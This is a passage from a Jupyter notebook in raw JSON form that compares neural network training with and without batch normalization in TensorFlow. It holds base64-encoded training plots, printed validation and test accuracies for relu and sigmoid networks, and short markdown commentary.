wliz\n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\nQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f2e91582828>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The higher learning rate used here allows the network with batch normalization to surpass 90% in about 30 thousand batches. The network without it never gets anywhere." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 1, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1409.45it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.896999716758728\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:33<00:00, 534.39it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9569997787475586\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.8957001566886902\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9505001306533813\n" ] }, { "data": { "image/png": "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\ndtsZTIoN44GX9vDGvhMsy0rgV59exJTECABe/